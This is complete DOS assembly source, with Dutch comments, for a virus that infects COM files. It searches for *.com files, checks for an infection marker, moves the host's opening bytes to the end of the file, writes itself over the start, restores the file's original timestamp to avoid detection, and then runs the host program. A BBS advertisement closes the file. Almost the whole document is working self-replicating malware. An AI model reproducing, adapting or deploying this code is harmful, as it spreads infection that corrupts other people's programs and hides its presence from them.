Code   Segment
       Assume  CS:Code,DS:Code,ES:Code

       V_Length        Equ Program - Main
       F_Name	       Equ 0FC1Eh
       F_Time	       Equ 0FC16h
       F_Date	       Equ 0FC18h
       HAdr	       Equ 0FD00h
       DTA	       Equ 0FC00h

       Org     100h

Main:
       push [BOP]			;bewaar orginele offset programma

       mov ah,1ah			;DTA boven neerzetten
       mov dx,DTA			;DTA adres
       int 21h

       mov ah,4eh			;zoek naar COM files
       mov dx,Offset Target
       xor cx,cx
       int 21h

Read_file:
       mov ax,3d02h			;open het doelbestand
       mov dx,Offset F_Name
       int 21h

       mov bx,ax                        ;bewaar de file handle

       mov bp,cs:[F_Time]		;Bewaar de tijd
       mov di,cs:[F_Date]		;Bewaar de datum

       mov ah,3fh			;lees deel van het doelbestand
       mov dx,Hadr			;buffer adres
       mov cx,V_Length			;lengte van het 4us
       int 21h				;naar het hoog adres in

       mov si,dx			;Is het bestand al geinfecteerd?
       cmp Word Ptr [si],36ffh
       jne Infect_File			;Nee, infecteer het

       mov ah,4fh			;Zoek volgende COM bestand
       int 21h

       jc End_Infect
       jmp Short Read_File

Infect_File:
       mov ax,4202h			;zoek naar het einde van doelbestand
       xor cx,cx                        ;ax bevat na het na het uitvoeren van
       xor dx,dx                        ;de interrupt de lengte van de file
       int 21h

       add ax,100h			;tel 100h bytes PSP erbij op en
       mov BOP,ax			;bewaar de lengte van het doelbestand

       mov ah,40h			;overschrijf begin van doelbestand
       mov cx,V_Length			;lengte van het 4us
       mov dx,HAdr			;buffer
       int 21h

       mov ax,4200h			;zoek het begin van het doelbestand op
       xor cx,cx
       xor dx,dx
       int 21h

       mov ah,40h			;schrijf de 4uscode over de file
       mov cx,V_Length			;lengte van het 4us
       mov dx,Offset Main
       int 21h

       mov ax,5701h			;zet orginele datum terug
       mov dx,di			;datum
       mov cx,bp			;tijd
       int 21h

End_Infect:
       mov ah,3eh			;sluit het doelbestand af
       int 21h

       mov ah,1ah			;set DTA terug naar default
       mov dx,0080h
       int 21h

       cld				;voorwaarts
       mov di,HAdr			;buffer
       push di				;en nog een voor het verplaatsen straks
       mov si,Offset MoveBlock		;wijst naar relocator
       mov cx,Program - MoveBlock	;lengte relocator
       rep movsb			;verplaats het block
       ret				;en ga er naar toe

BOP    dw  Offset Program

MoveBlock:
        mov cx,V_Length                 ;aantal bytes dat verplaatst wordt
        pop si                          ;haal BOP terug via de stack
        mov di,0100h                    ;hier gaat het allemaal naar toe
	push di 			;bewaar voor de RET
	rep movsb			;verplaatsen
	ret				;en start orginele programma op

Target:
        db '*.com',0

Program:                                ;Dit is het fake programma wat later
       mov ah,4ch                       ;door de relocator verplaatst wordt
       int 21h                          ;naar het begin van de file

Code    Ends
End     Main

;  �������������������������������������������������������������������������
;  ��������������������> and Remember Don't Forget to Call <����������������
;  ������������> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <����������
;  �������������������������������������������������������������������������